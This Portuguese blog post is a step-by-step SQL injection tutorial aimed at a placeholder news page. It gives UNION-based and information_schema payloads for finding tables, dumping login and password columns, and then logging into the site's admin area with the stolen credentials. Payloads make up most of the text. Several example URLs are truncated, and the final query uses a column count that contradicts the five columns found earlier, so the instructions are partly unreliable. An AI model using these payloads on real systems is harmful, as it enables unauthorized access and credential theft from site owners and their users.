Tutorial SQL Injection
6:53 pm em Pen-Test por Samukt

Por Twi John
Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.
Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.
Aqui esta o site: www.site.com.br/noticias.php?id=10
Para descobrir se pode estar vulneravel, coloque ‘ depois do link, caso dei algum erro tem grande chance de estar vulneravel.
www.site.com.br/noticias.php?id=10‘
Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282
Essa falha é baseada em erros.
Vamos pegar o numero de colunas usando ORDER BY *
É usado dessa maneira:
+order+by+1 //Sem erro
+order+by+2 //Sem erro
+order+by+3 //Sem erro
+order+by+4 //Sem erro
+order+by+5 //Sem erro
+order+by+6 //Erro
www.site.com.br/noticias.php?id=10+order+by+5
Então são apenas 5 colunas
Vamos uni-las, usando UNION ALL SELECT *
http://www.site.com.br/noticias.php?…lect+1,2,3,4,5
Coloque um traço (-) antes do valor da variavel ficando assim:
http://www.site.com.br/noticias.php?…lect+1,2,3,4,5
Irão aparecer numeros, eles que nóis iremos subtituir por informações:
Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()
+union+all+select+1,version(),3
//–Brute Force–\\
Vamos tentar colocar tabelas até que não apareça erro:
UNION ALL SELECT * FROM ADMIN == erro
“” “” “” “” LOGIN == erro
“” “” “” “” USER == erro
“” “” “” “” USERS == erro
“” “” “” “” USUARIOS == sem erro
Então no caso ficaria assim: http://www.site.com.br/noticias.php?…+from+usuarios
Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin … entre outros.
//–INFORMATION_SCHEMA–\\
DATABASE: INFORMATION_SCHEMA
TABELA: TABLES
COLUNA: TABLE_NAME
Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES
Para ir passando de tabela você usa LIMIT *
LIMIT 1,1
LIMIT 2,1
LIMIT 3,1
LIMIT 4,1
LIMIT 5,1
… E assim vai indo até encontrar uma tabela de login.
Ex: http://www.site.com.br/noticias.php?…bles+limit+1,1
//
Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:
DATABASE: INFORMATION_SCHEMA
TABELLA: COLUMNS
COLUNA: COLUMN_NAME
Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS
Para passar de coluna pode usar o LIMIT também.
//
Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:
UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS
http://www.site.com.br/noticias.php?…+from+usuarios
Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.
Ao encontra-la é só você se logar com as informações que você pegou
Auotr: Twi John